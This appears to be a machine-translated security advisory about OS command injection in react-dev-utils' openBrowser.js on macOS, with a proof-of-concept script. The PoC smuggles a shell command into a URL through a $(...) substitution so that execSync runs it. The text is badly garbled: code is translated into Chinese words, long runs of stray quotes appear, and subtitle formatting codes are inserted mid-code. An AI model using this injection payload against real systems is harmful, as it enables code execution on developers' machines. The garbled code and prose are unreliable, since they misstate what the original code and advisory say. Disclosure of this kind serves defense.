openBrowser.js 中的操作系统命令注入
页:1 反应-dev-utils包 (v12.0.1)在macOS上容易被OS指令注射. 开放浏览器 API 在通过execSync将 URL 传递到 shell 命令之前未能正确进行消毒,如果攻击者能够控制传递到函数的 URL ,则允许执行任意命令.
详细情况 脆弱性存在于初始浏览器Process函数中的 openBrowser.js 中. 当运行于 macOS 上并瞄准 Google Chrome 或基于 Chromium 的浏览器时, 库使用 child process.execSync 执行 AppleScript :
// 位于反应- dev-utils/ openBrowser.js中
执行同步( E)
'osascript open Chrome.applescript'''' + 翻译:
编码URI( url) +
""""""""""""""""+""""""".
铬浏览器+
"''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''的'''的"的"的"""的"的"的"的"的""的"
{
cwd: dirname, (中文(简体) ).
Stdio:"无知",
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
(三)
根原因: 代码使用编码URI(url)作为安全过滤. 然而,编码URI并没有逃脱在外壳环境中具有显著意义的字符,具体来说是$, (和.). 由于 URL 被插入到双引出字符串中并通过 /bin/sh 执行,所以 shell 在将结果传递给 osascript 之前会扩展命令替换为$(.)或 backticks. 虽然库之前通过移动到execFileSync来补入v11.0.5,但危险的execSync逻辑在12.0.1版本中重新出现. • PoC 环境:有Google Chrome运行的macOS.
- 安装受影响的版本:npm安装反应[email protected]
- 创建复制.js: [JavaScript] c. 打开浏览器=需要(反应- dev-utils/ 打开浏览器); c. 需要;
/ 使用 $IFS 绕过空间编码并避免被编码URI过滤的字符 c. 表示“/tmp/RCE VIFIED”;
如果(f.s. sexics) Sync(标记) fs.unlink Sync(标记); (一) Const有效载荷Url = “http://localhost/$(touch$IFS' + mark +')”; 打开浏览器( 有效载荷 Url ) ;
设置时间出错( ()) {{{} 如果(f.s.s.存在)同步(标记){ sUCCESS: 命令已执行 。 在 ' + 标记上找到的文件 ; 控制台.log( “ Contents: ” + fs. readFileSync (marker, “utf8 ”) ); 否则 control.log ('[-]) 启动失败 。 确保Chrome运行,您正在使用macOS。'); {\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢? • 2000年);
3. 运行:节点复制.js
影响
这是一个高度/关键严重性的脆弱性,对数百万开发者使用创建-反应-应用产生影响。
可以影响由dev服务器所打开的URL(通过.env文件,恶意中间软件,或共享dev环境)的攻击者可以在开发者的工作站上获得完整的远程代码执行(RCE).
内容来源: react/create-react-app